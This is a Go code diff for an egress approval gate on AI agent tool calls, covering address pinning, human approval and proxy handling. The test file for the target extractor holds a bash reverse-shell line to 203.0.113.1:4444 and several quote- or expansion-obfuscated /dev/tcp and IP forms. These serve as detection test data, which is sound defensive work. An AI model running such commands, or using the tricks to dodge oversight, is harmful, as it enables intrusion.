pins, _ := s.ActivePins(db.TargetScopeRef{}, host, port)
|
s.mu.Lock()
|
||||||
|
pins := pinsFor(s.pins, host, port)
|
||||||
|
s.mu.Unlock()
|
||||||
for _, p := range pins {
|
for _, p := range pins {
|
||||||
if p.Port == port {
|
if p.Port == port {
|
||||||
return p
|
return p
|
||||||
@@ -200,6 +208,10 @@ func newGate(t *testing.T) *gateFixture {
|
|||||||
g.ic.targets = g.store
|
g.ic.targets = g.store
|
||||||
g.ic.SetResolver(g.res)
|
g.ic.SetResolver(g.res)
|
||||||
g.ic.resolve.now = func() time.Time { return g.clock }
|
g.ic.resolve.now = func() time.Time { return g.clock }
|
||||||
|
g.store.resolve = func(host string) []string {
|
||||||
|
res, _ := g.ic.resolve.lookup(context.Background(), host, true)
|
||||||
|
return res.ips
|
||||||
|
}
|
||||||
g.scope = TargetScope{TaskID: "7", Enabled: func() bool { return true }, WaitBound: time.Minute, Interceptor: g.ic}
|
g.scope = TargetScope{TaskID: "7", Enabled: func() bool { return true }, WaitBound: time.Minute, Interceptor: g.ic}
|
||||||
return g
|
return g
|
||||||
}
|
}
|
||||||
@@ -285,18 +297,19 @@ func TestGateStateMachine(t *testing.T) {
|
|||||||
g := newGate(t)
|
g := newGate(t)
|
||||||
g.res.set("app.example.com", "203.0.113.7")
|
g.res.set("app.example.com", "203.0.113.7")
|
||||||
|
|
||||||
// No pin: a request for the addresses that were resolved.
|
// No pin: a request for the name. Nothing approved it, so it is not
|
||||||
|
// resolved; an approval resolves it (Decide, here the fake store).
|
||||||
req := g.requests("no pin", g.fetch(appURL))
|
req := g.requests("no pin", g.fetch(appURL))
|
||||||
if req.Host != "app.example.com" || req.Port != 443 || req.Kind != TargetDomain || req.Reason != "no_pin" || req.Pin != nil ||
|
if req.Host != "app.example.com" || req.Port != 443 || req.Kind != TargetDomain || req.Reason != "no_pin" || req.Pin != nil ||
|
||||||
!slices.Equal(req.ResolvedIPs, []string{"203.0.113.7"}) || req.Resolver != "fake" || req.ResolvedAt.IsZero() {
|
len(req.ResolvedIPs) != 0 || req.Resolver != "" || !req.ResolvedAt.IsZero() || g.res.total() != 0 {
|
||||||
t.Fatalf("first request = %+v", req)
|
t.Fatalf("first request = %+v after %d lookups, want the name only and no lookup", req, g.res.total())
|
||||||
}
|
}
|
||||||
// A request alone pins nothing: the next call asks again.
|
// A request alone pins nothing: the next call asks again.
|
||||||
g.requests("still no pin", g.fetch(appURL))
|
g.requests("still no pin", g.fetch(appURL))
|
||||||
|
|
||||||
// Approved: version 1, and the call passes.
|
// Approved: version 1 holds what the name resolved to then, and the call passes.
|
||||||
if pin := g.store.approve(req); pin.Version != 1 {
|
if pin := g.store.approve(req); pin.Version != 1 || !slices.Equal(pin.PinnedIPs, []string{"203.0.113.7"}) {
|
||||||
t.Fatalf("pin = %+v, want version 1", pin)
|
t.Fatalf("pin = %+v, want version 1 with 203.0.113.7", pin)
|
||||||
}
|
}
|
||||||
g.passes("pinned", g.fetch(appURL))
|
g.passes("pinned", g.fetch(appURL))
|
||||||
|
|
||||||
@@ -368,11 +381,17 @@ func TestSubset(t *testing.T) {
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
// A name that does not resolve blocks the call, pinned or not, and opens no
|
// A name the gate resolves (one a pin, a grant or a stored exemption names)
|
||||||
// request: there is no address to show, and nothing an approval could pin.
|
// that does not resolve blocks the call and opens no request: there is no
|
||||||
|
// address to show, and nothing an approval could pin. A name nothing approved
|
||||||
|
// is not resolved at all: it is requested by name.
|
||||||
func TestResolveFailureBlocksWithoutRequest(t *testing.T) {
|
func TestResolveFailureBlocksWithoutRequest(t *testing.T) {
|
||||||
g := newGate(t)
|
g := newGate(t)
|
||||||
g.res.errs["app.example.com"] = errors.New("no such host")
|
g.res.errs["app.example.com"] = errors.New("no such host")
|
||||||
|
if req := g.requests("unapproved name", g.fetch(appURL)); len(req.ResolvedIPs) != 0 || g.res.total() != 0 {
|
||||||
|
t.Fatalf("request = %+v after %d lookups, want the name only", req, g.res.total())
|
||||||
|
}
|
||||||
|
g.pin("app.example.com", 8443, "203.0.113.7")
|
||||||
res := g.blocked("lookup error", TargetResolveFailed, g.fetch(appURL))
|
res := g.blocked("lookup error", TargetResolveFailed, g.fetch(appURL))
|
||||||
if res.Host != "app.example.com" || res.Port != 443 || !strings.Contains(res.Reason, "could not resolve app.example.com (no such host)") {
|
if res.Host != "app.example.com" || res.Port != 443 || !strings.Contains(res.Reason, "could not resolve app.example.com (no such host)") {
|
||||||
t.Fatalf("result = %+v", res)
|
t.Fatalf("result = %+v", res)
|
||||||
@@ -385,7 +404,7 @@ func TestResolveFailureBlocksWithoutRequest(t *testing.T) {
|
|||||||
t.Fatalf("empty answer: reason = %q", res.Reason)
|
t.Fatalf("empty answer: reason = %q", res.Reason)
|
||||||
}
|
}
|
||||||
|
|
||||||
// With a pin the failure still blocks, and the text names the pin.
|
// With a pin on the port the failure still blocks, and the text names the pin.
|
||||||
g.res.set("app.example.com", "203.0.113.7")
|
g.res.set("app.example.com", "203.0.113.7")
|
||||||
g.store.approve(g.requests("resolves again", g.fetch(appURL)))
|
g.store.approve(g.requests("resolves again", g.fetch(appURL)))
|
||||||
g.passes("pinned", g.fetch(appURL))
|
g.passes("pinned", g.fetch(appURL))
|
||||||
@@ -405,12 +424,17 @@ func TestResolveFailureBlocksWithoutRequest(t *testing.T) {
|
|||||||
row.Audit.ExecutionStatus != "not_executed" || row.ToolName != "WebFetch" || row.Scope.TaskID != 7 {
|
row.Audit.ExecutionStatus != "not_executed" || row.ToolName != "WebFetch" || row.Scope.TaskID != 7 {
|
||||||
t.Fatalf("logged row = %+v audit=%+v", row, row.Audit)
|
t.Fatalf("logged row = %+v audit=%+v", row, row.Audit)
|
||||||
}
|
}
|
||||||
// A request without an address is refused before any row is written (the
|
// A request without an address, other than a name requested by name, is
|
||||||
// interceptor has no database: a write would panic).
|
// refused before any row is written (the interceptor has no database: a
|
||||||
out := g.ic.RequestTargets(context.Background(), g.scope, "WebFetch", []byte(`{"url":"`+appURL+`"}`),
|
// write would panic).
|
||||||
[]TargetRequest{{Host: "app.example.com", Port: 443, Kind: TargetDomain, Reason: "no_pin"}}, nil)
|
for _, r := range []TargetRequest{
|
||||||
if out.Code != TargetResolveFailed || out.PendingID != 0 {
|
{Host: "app.example.com", Port: 443, Kind: TargetDomain, Reason: "new_ip", Pin: g.store.active("app.example.com", 443)},
|
||||||
t.Fatalf("request without an address: %+v, want %s and no row", out, TargetResolveFailed)
|
{Host: "198.51.100.9", Port: 443, Kind: TargetIP, Reason: "no_pin"},
|
||||||
|
} {
|
||||||
|
out := g.ic.RequestTargets(context.Background(), g.scope, "WebFetch", []byte(`{"url":"`+appURL+`"}`), []TargetRequest{r}, nil)
|
||||||
|
if out.Code != TargetResolveFailed || out.PendingID != 0 {
|
||||||
|
t.Fatalf("request without an address %+v: %+v, want %s and no row", r, out, TargetResolveFailed)
|
||||||
|
}
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -702,7 +726,7 @@ func TestTooManyTargetsBlocked(t *testing.T) {
|
|||||||
|
|
||||||
// What the gate cannot read, it does not allow.
|
// What the gate cannot read, it does not allow.
|
||||||
func TestStoreFailureBlocks(t *testing.T) {
|
func TestStoreFailureBlocks(t *testing.T) {
|
||||||
for _, method := range []string{"BlockRules", "Exemptions", "ActivePins"} {
|
for _, method := range []string{"BlockRules", "Exemptions", "ScopePins"} {
|
||||||
g := newGate(t)
|
g := newGate(t)
|
||||||
g.res.set("app.example.com", "203.0.113.7")
|
g.res.set("app.example.com", "203.0.113.7")
|
||||||
g.store.fail[method] = errors.New("connection refused")
|
g.store.fail[method] = errors.New("connection refused")
|
||||||
@@ -935,7 +959,8 @@ func TestIPPinDoesNotCoverNameOnSameIP(t *testing.T) {
|
|||||||
|
|
||||||
// Behind the upstream egress proxy the proxy chooses the address. Every pin is
|
// Behind the upstream egress proxy the proxy chooses the address. Every pin is
|
||||||
// name-only at call time, whatever its row says: a changed address neither
|
// name-only at call time, whatever its row says: a changed address neither
|
||||||
// blocks nor asks. A pin approved under the proxy stays name-only without it.
|
// blocks nor asks. Without the proxy the addresses are compared again, also
|
||||||
|
// for a pin whose row says it was approved name-only.
|
||||||
func TestUpstreamProxyMakesPinsNameOnlyAtCallTime(t *testing.T) {
|
func TestUpstreamProxyMakesPinsNameOnlyAtCallTime(t *testing.T) {
|
||||||
g := newGate(t)
|
g := newGate(t)
|
||||||
proxied := false
|
proxied := false
|
||||||
@@ -973,9 +998,12 @@ func TestUpstreamProxyMakesPinsNameOnlyAtCallTime(t *testing.T) {
|
|||||||
proxied = false
|
proxied = false
|
||||||
g.requests("changed address, proxy off again", g.fetch(appURL))
|
g.requests("changed address, proxy off again", g.fetch(appURL))
|
||||||
|
|
||||||
// A pin whose row is name-only stays name-only without the proxy.
|
// A pin whose row is name-only is not name-only without the proxy: the row
|
||||||
|
// records how it was approved, not the path of this call.
|
||||||
pin.NameOnlyEffective = true
|
pin.NameOnlyEffective = true
|
||||||
g.passes("name-only pin, no proxy", g.fetch(appURL))
|
g.requests("name-only pin, no proxy", g.fetch(appURL))
|
||||||
|
proxied = true
|
||||||
|
g.passes("name-only pin, proxy on again", g.fetch(appURL))
|
||||||
}
|
}
|
||||||
|
|
||||||
// A custom tool that carries its own proxy cannot enforce an approved IP, so
|
// A custom tool that carries its own proxy cannot enforce an approved IP, so
|
||||||
@@ -1049,6 +1077,7 @@ func TestSystemResolverAndLimits(t *testing.T) {
|
|||||||
// A resolver that does not answer is cut off after the timeout, whatever the
|
// A resolver that does not answer is cut off after the timeout, whatever the
|
||||||
// caller's own deadline, and the failure says so.
|
// caller's own deadline, and the failure says so.
|
||||||
g := newGate(t)
|
g := newGate(t)
|
||||||
|
g.pin("app.example.com", 443, "203.0.113.7") // a name the gate resolves
|
||||||
g.res.hold = make(chan struct{})
|
g.res.hold = make(chan struct{})
|
||||||
defer close(g.res.hold)
|
defer close(g.res.hold)
|
||||||
start := time.Now()
|
start := time.Now()
|
||||||
|
|||||||
@@ -143,6 +143,7 @@ func TestRenderedTargetUsesTheGateDecision(t *testing.T) {
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
|
g.pin("down.example", 443, "203.0.113.20") // a name the gate resolves
|
||||||
g.res.errs["down.example"] = context.DeadlineExceeded
|
g.res.errs["down.example"] = context.DeadlineExceeded
|
||||||
if res := GateRenderedURL(g.ctx(), "probe", "https://down.example/"); res.Code != TargetResolveFailed || res.Host != "down.example" {
|
if res := GateRenderedURL(g.ctx(), "probe", "https://down.example/"); res.Code != TargetResolveFailed || res.Host != "down.example" {
|
||||||
t.Fatalf("unresolvable: %+v", res)
|
t.Fatalf("unresolvable: %+v", res)
|
||||||
|
|||||||
+24
-16
@@ -44,6 +44,10 @@ type TargetRequest struct {
|
|||||||
// RedirectFrom is the origin (host:port) of the redirect that leads to the
|
// RedirectFrom is the origin (host:port) of the redirect that leads to the
|
||||||
// target; empty when the call names the target itself.
|
// target; empty when the call names the target itself.
|
||||||
RedirectFrom string
|
RedirectFrom string
|
||||||
|
// NameOnly: the check that raised the request decides traffic a proxy
|
||||||
|
// carries, so the proxy chooses the address. Never set for a connection
|
||||||
|
// the platform opens itself.
|
||||||
|
NameOnly bool
|
||||||
}
|
}
|
||||||
|
|
||||||
// TargetResult is the outcome of RequestTargets. Code is empty when every
|
// TargetResult is the outcome of RequestTargets. Code is empty when every
|
||||||
@@ -121,9 +125,11 @@ func (i *Interceptor) RequestTargets(ctx context.Context, scope TargetScope, too
|
|||||||
return TargetResult{Code: TargetGateUnavailable, Reason: err.Error()}
|
return TargetResult{Code: TargetGateUnavailable, Reason: err.Error()}
|
||||||
}
|
}
|
||||||
// An approval pins the addresses the request displays, so a request without
|
// An approval pins the addresses the request displays, so a request without
|
||||||
// any is never opened: approving it would pin nothing.
|
// any is never opened: approving it would pin nothing. The one exception is
|
||||||
|
// a name nothing approved, which the check does not resolve: it is requested
|
||||||
|
// by name, and Decide resolves it once a human approved it.
|
||||||
for _, t := range targets {
|
for _, t := range targets {
|
||||||
if len(t.ResolvedIPs) == 0 {
|
if len(t.ResolvedIPs) == 0 && (t.Kind != TargetDomain || t.Pin != nil) {
|
||||||
return TargetResult{Code: TargetResolveFailed, Host: t.Host, Port: t.Port,
|
return TargetResult{Code: TargetResolveFailed, Host: t.Host, Port: t.Port,
|
||||||
Reason: "no address was resolved for " + targetName(t) + ", and an approval never pins an empty address list"}
|
Reason: "no address was resolved for " + targetName(t) + ", and an approval never pins an empty address list"}
|
||||||
}
|
}
|
||||||
@@ -291,14 +297,10 @@ func (i *Interceptor) RequestTargets(ctx context.Context, scope TargetScope, too
|
|||||||
// call writes the row it emits the approval card; an attaching call writes and
|
// call writes the row it emits the approval card; an attaching call writes and
|
||||||
// emits nothing, and never rewrites the addresses a human may be reading.
|
// emits nothing, and never rewrites the addresses a human may be reading.
|
||||||
func (i *Interceptor) openTargetRequest(ctx context.Context, ref db.TargetScopeRef, scope TargetScope, toolName string, input []byte, t TargetRequest, ask *Decision) (*targetWaiter, error) {
|
func (i *Interceptor) openTargetRequest(ctx context.Context, ref db.TargetScopeRef, scope TargetScope, toolName string, input []byte, t TargetRequest, ask *Decision) (*targetWaiter, error) {
|
||||||
i.mu.RLock()
|
// Raised for traffic a proxy carries, the approval covers the name for that
|
||||||
proxied := i.upstreamProxy
|
// traffic, and the row and the pin record it. Raised for a connection the
|
||||||
i.mu.RUnlock()
|
// platform opens itself, it is never name-only.
|
||||||
// Behind the upstream proxy the proxy chooses the address: the approval is
|
nameOnly := t.NameOnly
|
||||||
// for the name, and the pin created from this row says so. A direct hop is
|
|
||||||
// not behind it: the tool dials it itself, so the approval and its pin bind
|
|
||||||
// the addresses a human reads.
|
|
||||||
nameOnly := !DirectHop(ctx) && proxied != nil && proxied()
|
|
||||||
|
|
||||||
dec := Decision{Action: "ask"}
|
dec := Decision{Action: "ask"}
|
||||||
if ask != nil {
|
if ask != nil {
|
||||||
@@ -473,17 +475,23 @@ func targetReason(scope TargetScope, t TargetRequest, ask *Decision, nameOnly bo
|
|||||||
name += " (port not declared: every port)"
|
name += " (port not declared: every port)"
|
||||||
}
|
}
|
||||||
ips := strings.Join(t.ResolvedIPs, ", ")
|
ips := strings.Join(t.ResolvedIPs, ", ")
|
||||||
if t.Pin != nil {
|
switch {
|
||||||
|
case t.Pin != nil:
|
||||||
fmt.Fprintf(&b, "Target %s is pinned for %s (pin v%d: %s) and now resolves to %s (resolver: %s).",
|
fmt.Fprintf(&b, "Target %s is pinned for %s (pin v%d: %s) and now resolves to %s (resolver: %s).",
|
||||||
name, bound, t.Pin.Version, strings.Join(t.Pin.PinnedIPs, ", "), ips, t.Resolver)
|
name, bound, t.Pin.Version, strings.Join(t.Pin.PinnedIPs, ", "), ips, t.Resolver)
|
||||||
} else {
|
fmt.Fprintf(&b, " Approving pins these addresses for %s until revoked.", bound)
|
||||||
|
case len(t.ResolvedIPs) == 0:
|
||||||
|
fmt.Fprintf(&b, "Target %s is not approved for %s. The platform has not resolved it: a name nothing approved is not looked up.", name, bound)
|
||||||
|
fmt.Fprintf(&b, " Approving resolves the name once and pins the addresses it answers then for %s until revoked.", bound)
|
||||||
|
default:
|
||||||
fmt.Fprintf(&b, "Target %s is not approved for %s. It resolves to %s (resolver: %s).", name, bound, ips, t.Resolver)
|
fmt.Fprintf(&b, "Target %s is not approved for %s. It resolves to %s (resolver: %s).", name, bound, ips, t.Resolver)
|
||||||
|
fmt.Fprintf(&b, " Approving pins these addresses for %s until revoked.", bound)
|
||||||
}
|
}
|
||||||
fmt.Fprintf(&b, " Approving pins these addresses for %s until revoked.", bound)
|
|
||||||
if nameOnly {
|
if nameOnly {
|
||||||
b.WriteString(" Egress goes through the upstream proxy, which chooses the address it connects to." +
|
b.WriteString(" This call's traffic goes through a proxy, which chooses the address it connects to." +
|
||||||
" The addresses listed are what the platform resolved. This approval is name-only." +
|
" The addresses listed are what the platform resolved. For traffic through a proxy this approval is name-only:" +
|
||||||
" The platform does not bind the connection to these addresses.")
|
" the platform does not bind that connection to these addresses." +
|
||||||
|
" A connection the platform opens itself, without a proxy, still goes only to the addresses listed.")
|
||||||
}
|
}
|
||||||
return b.String()
|
return b.String()
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -928,19 +928,22 @@ func TestDecideRecordsApproverAndAddress(t *testing.T) {
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
// Behind the upstream proxy the proxy chooses the address: the request says the
|
// Behind the upstream proxy the proxy chooses the address: a request raised for
|
||||||
// approval is name-only and the pin carries the mark. The mark stays when the
|
// proxied traffic says the approval is name-only and the pin carries the mark.
|
||||||
// proxy is removed; addresses are enforced again only after a new approval.
|
// The mark is a record only: once the proxy is removed the pin's addresses are
|
||||||
|
// compared again at the next check.
|
||||||
func TestPinUnderGlobalProxyIsNameOnly(t *testing.T) {
|
func TestPinUnderGlobalProxyIsNameOnly(t *testing.T) {
|
||||||
d := targetTestDB(t)
|
d := targetTestDB(t)
|
||||||
ic := New(d)
|
ic := New(d)
|
||||||
var proxied atomic.Bool
|
var proxied atomic.Bool
|
||||||
ic.SetUpstreamProxyCheck(proxied.Load)
|
ic.SetUpstreamProxyCheck(proxied.Load)
|
||||||
scope := taskScope(t, d, ic, time.Minute)
|
scope := taskScope(t, d, ic, time.Minute)
|
||||||
const sentence = "This approval is name-only."
|
const sentence = "this approval is name-only"
|
||||||
approve := func(host string) (*db.TargetPin, string) {
|
approve := func(host string) (*db.TargetPin, string) {
|
||||||
t.Helper()
|
t.Helper()
|
||||||
call := request(context.Background(), ic, scope, nil, target(host, 443, "203.0.113.7"))
|
tr := target(host, 443, "203.0.113.7")
|
||||||
|
tr.NameOnly = proxied.Load() // as the check sets it for proxied traffic
|
||||||
|
call := request(context.Background(), ic, scope, nil, tr)
|
||||||
id := oneOpenRow(t, d, scope)
|
id := oneOpenRow(t, d, scope)
|
||||||
row, err := d.GetInterceptDetail(id)
|
row, err := d.GetInterceptDetail(id)
|
||||||
if err != nil || row == nil {
|
if err != nil || row == nil {
|
||||||
@@ -966,14 +969,14 @@ func TestPinUnderGlobalProxyIsNameOnly(t *testing.T) {
|
|||||||
|
|
||||||
proxied.Store(true)
|
proxied.Store(true)
|
||||||
named, reason := approve("proxied.example.com")
|
named, reason := approve("proxied.example.com")
|
||||||
if !named.NameOnlyEffective || !strings.Contains(reason, sentence) || !strings.Contains(reason, "upstream proxy") {
|
if !named.NameOnlyEffective || !strings.Contains(reason, sentence) || !strings.Contains(reason, "goes through a proxy") {
|
||||||
t.Fatalf("behind the proxy: pin=%+v reason=%q, want a name-only pin and a request that says so", named, reason)
|
t.Fatalf("behind the proxy: pin=%+v reason=%q, want a name-only pin and a request that says so", named, reason)
|
||||||
}
|
}
|
||||||
if !slices.Equal(named.PinnedIPs, []string{"203.0.113.7"}) {
|
if !slices.Equal(named.PinnedIPs, []string{"203.0.113.7"}) {
|
||||||
t.Fatalf("name-only pin addresses = %v, want what the platform resolved", named.PinnedIPs)
|
t.Fatalf("name-only pin addresses = %v, want what the platform resolved", named.PinnedIPs)
|
||||||
}
|
}
|
||||||
|
|
||||||
// The proxy is removed: the pin stays name-only, the address pin stays one.
|
// The proxy is removed: the mark stays on the row, the address pin stays one.
|
||||||
proxied.Store(false)
|
proxied.Store(false)
|
||||||
ref := scope.dbRef(t)
|
ref := scope.dbRef(t)
|
||||||
if still, err := d.ActiveTargetPins(ref, "proxied.example.com", 443); err != nil || len(still) != 1 || !still[0].NameOnlyEffective {
|
if still, err := d.ActiveTargetPins(ref, "proxied.example.com", 443); err != nil || len(still) != 1 || !still[0].NameOnlyEffective {
|
||||||
@@ -982,7 +985,15 @@ func TestPinUnderGlobalProxyIsNameOnly(t *testing.T) {
|
|||||||
if still, err := d.ActiveTargetPins(ref, "direct.example.com", 443); err != nil || len(still) != 1 || still[0].NameOnlyEffective {
|
if still, err := d.ActiveTargetPins(ref, "direct.example.com", 443); err != nil || len(still) != 1 || still[0].NameOnlyEffective {
|
||||||
t.Fatalf("address pin = %+v, %v", still, err)
|
t.Fatalf("address pin = %+v, %v", still, err)
|
||||||
}
|
}
|
||||||
// Enforcing addresses again takes a revocation and a new approval.
|
// The next check compares the addresses of the marked pin again: another
|
||||||
|
// answer asks.
|
||||||
|
res := newFakeResolver()
|
||||||
|
ic.SetResolver(res)
|
||||||
|
res.set("proxied.example.com", "198.51.100.9")
|
||||||
|
if reqs, out := ic.CheckTargets(context.Background(), scope, "WebFetch", fetchInput("https://proxied.example.com/")); out.Code != "" || len(reqs) != 1 || reqs[0].Reason != "new_ip" || reqs[0].NameOnly {
|
||||||
|
t.Fatalf("marked pin without the proxy: requests=%+v result=%+v, want a new_ip request", reqs, out)
|
||||||
|
}
|
||||||
|
// A new approval without the proxy records an address pin.
|
||||||
if _, err := d.RevokeTargetPin(ref, named.ID); err != nil {
|
if _, err := d.RevokeTargetPin(ref, named.ID); err != nil {
|
||||||
t.Fatal(err)
|
t.Fatal(err)
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -173,6 +173,155 @@ func TestExtractTargets(t *testing.T) {
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
|
func TestExtractTargetsVersionTokensAndBoundaries(t *testing.T) {
|
||||||
|
app := Target{TargetDomain, "app.example.com", 443}
|
||||||
|
cases := []struct {
|
||||||
|
name string
|
||||||
|
cmd string
|
||||||
|
want []Target
|
||||||
|
}{
|
||||||
|
{
|
||||||
|
name: "chrome user-agent in curl",
|
||||||
|
cmd: `curl -s -H "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.0.0 Safari/537.36" https://app.example.com/`,
|
||||||
|
want: []Target{app},
|
||||||
|
},
|
||||||
|
{
|
||||||
|
name: "other browser and client UA version tokens",
|
||||||
|
cmd: `curl -A "Mozilla/5.0 Chrome/156.0.0.0 CriOS/156.0.0.0 Edg/156.0.0.0 EdgA/156.0.0.0 OPR/112.0.0.0 Version/1.2.3.4 Go-http-client/1.2.3.4" https://app.example.com/`,
|
||||||
|
want: []Target{app},
|
||||||
|
},
|
||||||
|
{
|
||||||
|
name: "version token with a port or prefix suffix stays a target",
|
||||||
|
cmd: `curl 156.0.0.0:443 10.0.0.0/24`,
|
||||||
|
want: []Target{{TargetIP, "156.0.0.0", 443}, {TargetCIDR, "10.0.0.0/24", 0}},
|
||||||
|
},
|
||||||
|
{
|
||||||
|
name: "UA version with a port is requested, not dropped",
|
||||||
|
cmd: `curl -H "User-Agent: Chrome/156.0.0.0:443" https://app.example.com/`,
|
||||||
|
want: []Target{app, {TargetIP, "156.0.0.0", 443}},
|
||||||
|
},
|
||||||
|
{
|
||||||
|
name: "shell parameter default expansion stays a target",
|
||||||
|
cmd: `curl ${x-192.0.2.10}`,
|
||||||
|
want: []Target{{TargetIP, "192.0.2.10", 0}},
|
||||||
|
},
|
||||||
|
{
|
||||||
|
name: "indirect parameter default expansion stays a target",
|
||||||
|
cmd: `x=y; curl ${!x-192.0.2.10}`,
|
||||||
|
want: []Target{{TargetIP, "192.0.2.10", 0}},
|
||||||
|
},
|
||||||
|
{
|
||||||
|
name: "shell parameter default in an authority stays a target",
|
||||||
|
cmd: `curl http://${x-192.0.2.10}:8080/admin`,
|
||||||
|
want: []Target{{TargetIP, "192.0.2.10", 0}},
|
||||||
|
},
|
||||||
|
{
|
||||||
|
name: "shell parameter default CIDR stays a target",
|
||||||
|
cmd: `nmap ${x-10.0.0.0/24}`,
|
||||||
|
want: []Target{{TargetCIDR, "10.0.0.0/24", 0}},
|
||||||
|
},
|
||||||
|
{
|
||||||
|
name: "quoted /dev/tcp path stays a target",
|
||||||
|
cmd: `exec 3<>'/dev/'tcp/203.0.113.1/4444`,
|
||||||
|
want: []Target{{TargetIP, "203.0.113.1", 0}},
|
||||||
|
},
|
||||||
|
{
|
||||||
|
name: "doubly quoted /dev/tcp path stays a target",
|
||||||
|
cmd: `exec 3<>/dev/''tcp/203.0.113.1/4444`,
|
||||||
|
want: []Target{{TargetIP, "203.0.113.1", 0}},
|
||||||
|
},
|
||||||
|
{
|
||||||
|
name: "quoted /dev/udp path stays a target",
|
||||||
|
cmd: `exec 3<>/dev/""udp/10.0.0.1/53`,
|
||||||
|
want: []Target{{TargetIP, "10.0.0.1", 0}},
|
||||||
|
},
|
||||||
|
{
|
||||||
|
name: "protocol path with a port stays a target",
|
||||||
|
cmd: `echo tcp/192.0.2.10:8080`,
|
||||||
|
want: []Target{{TargetIP, "192.0.2.10", 8080}},
|
||||||
|
},
|
||||||
|
{
|
||||||
|
name: "network prefix stays a target",
|
||||||
|
cmd: `echo net/10.0.0.0/24`,
|
||||||
|
want: []Target{{TargetCIDR, "10.0.0.0/24", 0}},
|
||||||
|
},
|
||||||
|
{
|
||||||
|
name: "hyphen-delimited version token",
|
||||||
|
cmd: `tar xf app-1.2.3.4 && echo chromium-156.0.0.0`,
|
||||||
|
want: nil,
|
||||||
|
},
|
||||||
|
{
|
||||||
|
name: "chrome UA with bare IPv4 target",
|
||||||
|
cmd: `curl -H "User-Agent: Mozilla/5.0 Chrome/156.0.0.0 Safari/537.36" 192.0.2.10`,
|
||||||
|
want: []Target{{TargetIP, "192.0.2.10", 0}},
|
||||||
|
},
|
||||||
|
{
|
||||||
|
name: "chrome UA with same IPv4 as bare target",
|
||||||
|
cmd: `curl -H "User-Agent: Chrome/156.0.0.0" 156.0.0.0`,
|
||||||
|
want: []Target{{TargetIP, "156.0.0.0", 0}},
|
||||||
|
},
|
||||||
|
{
|
||||||
|
name: "chrome UA with http URL IPv4 target",
|
||||||
|
cmd: `curl -H "User-Agent: Chrome/156.0.0.0" http://156.0.0.1/`,
|
||||||
|
want: []Target{{TargetIP, "156.0.0.1", 80}},
|
||||||
|
},
|
||||||
|
{
|
||||||
|
name: "chrome UA with Host header IPv4 and loopback URL",
|
||||||
|
cmd: `curl -H "User-Agent: Chrome/156.0.0.0" -H "Host: 192.168.1.1" http://127.0.0.1`,
|
||||||
|
want: []Target{{TargetIP, "127.0.0.1", 80}, {TargetIP, "192.168.1.1", 0}},
|
||||||
|
},
|
||||||
|
{
|
||||||
|
name: "chrome UA with IPv4:port target",
|
||||||
|
cmd: `curl -H "User-Agent: Chrome/156.0.0.0" 156.0.0.1:8443`,
|
||||||
|
want: []Target{{TargetIP, "156.0.0.1", 8443}},
|
||||||
|
},
|
||||||
|
{
|
||||||
|
name: "chrome UA with CIDR target",
|
||||||
|
cmd: `nmap -sV --script-args http.useragent=Chrome/156.0.0.0 10.0.0.0/24`,
|
||||||
|
want: []Target{{TargetCIDR, "10.0.0.0/24", 0}},
|
||||||
|
},
|
||||||
|
{
|
||||||
|
name: "bash /dev/tcp path stays a target",
|
||||||
|
cmd: `bash -i >& /dev/tcp/203.0.113.1/4444 0>&1`,
|
||||||
|
want: []Target{{TargetIP, "203.0.113.1", 0}},
|
||||||
|
},
|
||||||
|
{
|
||||||
|
name: "bash /dev/udp path stays a target",
|
||||||
|
cmd: `exec 3<>/dev/udp/10.0.0.1/53`,
|
||||||
|
want: []Target{{TargetIP, "10.0.0.1", 0}},
|
||||||
|
},
|
||||||
|
{
|
||||||
|
name: "numeric prefix before slash stays a target",
|
||||||
|
cmd: `echo 2024/192.0.2.10`,
|
||||||
|
want: []Target{{TargetIP, "192.0.2.10", 0}},
|
||||||
|
},
|
||||||
|
{
|
||||||
|
name: "double slash before IPv4 stays a target",
|
||||||
|
cmd: `curl //192.0.2.10/`,
|
||||||
|
want: []Target{{TargetIP, "192.0.2.10", 0}},
|
||||||
|
},
|
||||||
|
{
|
||||||
|
name: "hyphenated IPv4 range keeps both endpoints",
|
||||||
|
cmd: `nmap 192.0.2.1-192.0.2.10`,
|
||||||
|
want: []Target{{TargetIP, "192.0.2.1", 0}, {TargetIP, "192.0.2.10", 0}},
|
||||||
|
},
|
||||||
|
}
|
||||||
|
for _, c := range cases {
|
||||||
|
t.Run(c.name, func(t *testing.T) {
|
||||||
|
wantTargets(t, "Bash", targetsOf("Bash", command(c.cmd)), c.want...)
|
||||||
|
wantTargets(t, "shell_open", targetsOf("shell_open", command(c.cmd)), c.want...)
|
||||||
|
wantTargets(t, "Monitor", targetsOf("Monitor", command(c.cmd)), c.want...)
|
||||||
|
wantTargets(t, "shell_send", targetsOf("shell_send", map[string]string{"text": c.cmd + "\n"}), c.want...)
|
||||||
|
})
|
||||||
|
}
|
||||||
|
|
||||||
|
// Unknown tools also scan string leaves with the same rule.
|
||||||
|
wantTargets(t, "unknown tool UA header", targetsOf("mcp__http__request", map[string]any{
|
||||||
|
"url": "https://app.example.com/",
|
||||||
|
"headers": map[string]string{"User-Agent": "Mozilla/5.0 Chrome/156.0.0.0 Safari/537.36"},
|
||||||
|
}), app)
|
||||||
|
}
|
||||||
|
|
||||||
// Every MCP tool and every deferred custom tool is called through
|
// Every MCP tool and every deferred custom tool is called through
|
||||||
// ExecuteExtraTool: the gate reads the inner tool name and its parameters.
|
// ExecuteExtraTool: the gate reads the inner tool name and its parameters.
|
||||||
func TestExtractUnwrapsExecuteExtraTool(t *testing.T) {
|
func TestExtractUnwrapsExecuteExtraTool(t *testing.T) {
|
||||||
|
|||||||
@@ -0,0 +1,351 @@
|
|||||||
|
package intercept
|
||||||
|
|
||||||
|
import (
|
||||||
|
"context"
|
||||||
|
"encoding/json"
|
||||||
|
"errors"
|
||||||
|
"fmt"
|
||||||
|
"slices"
|
||||||
|
"strings"
|
||||||
|
"testing"
|
||||||
|
"time"
|
||||||
|
|
||||||
|
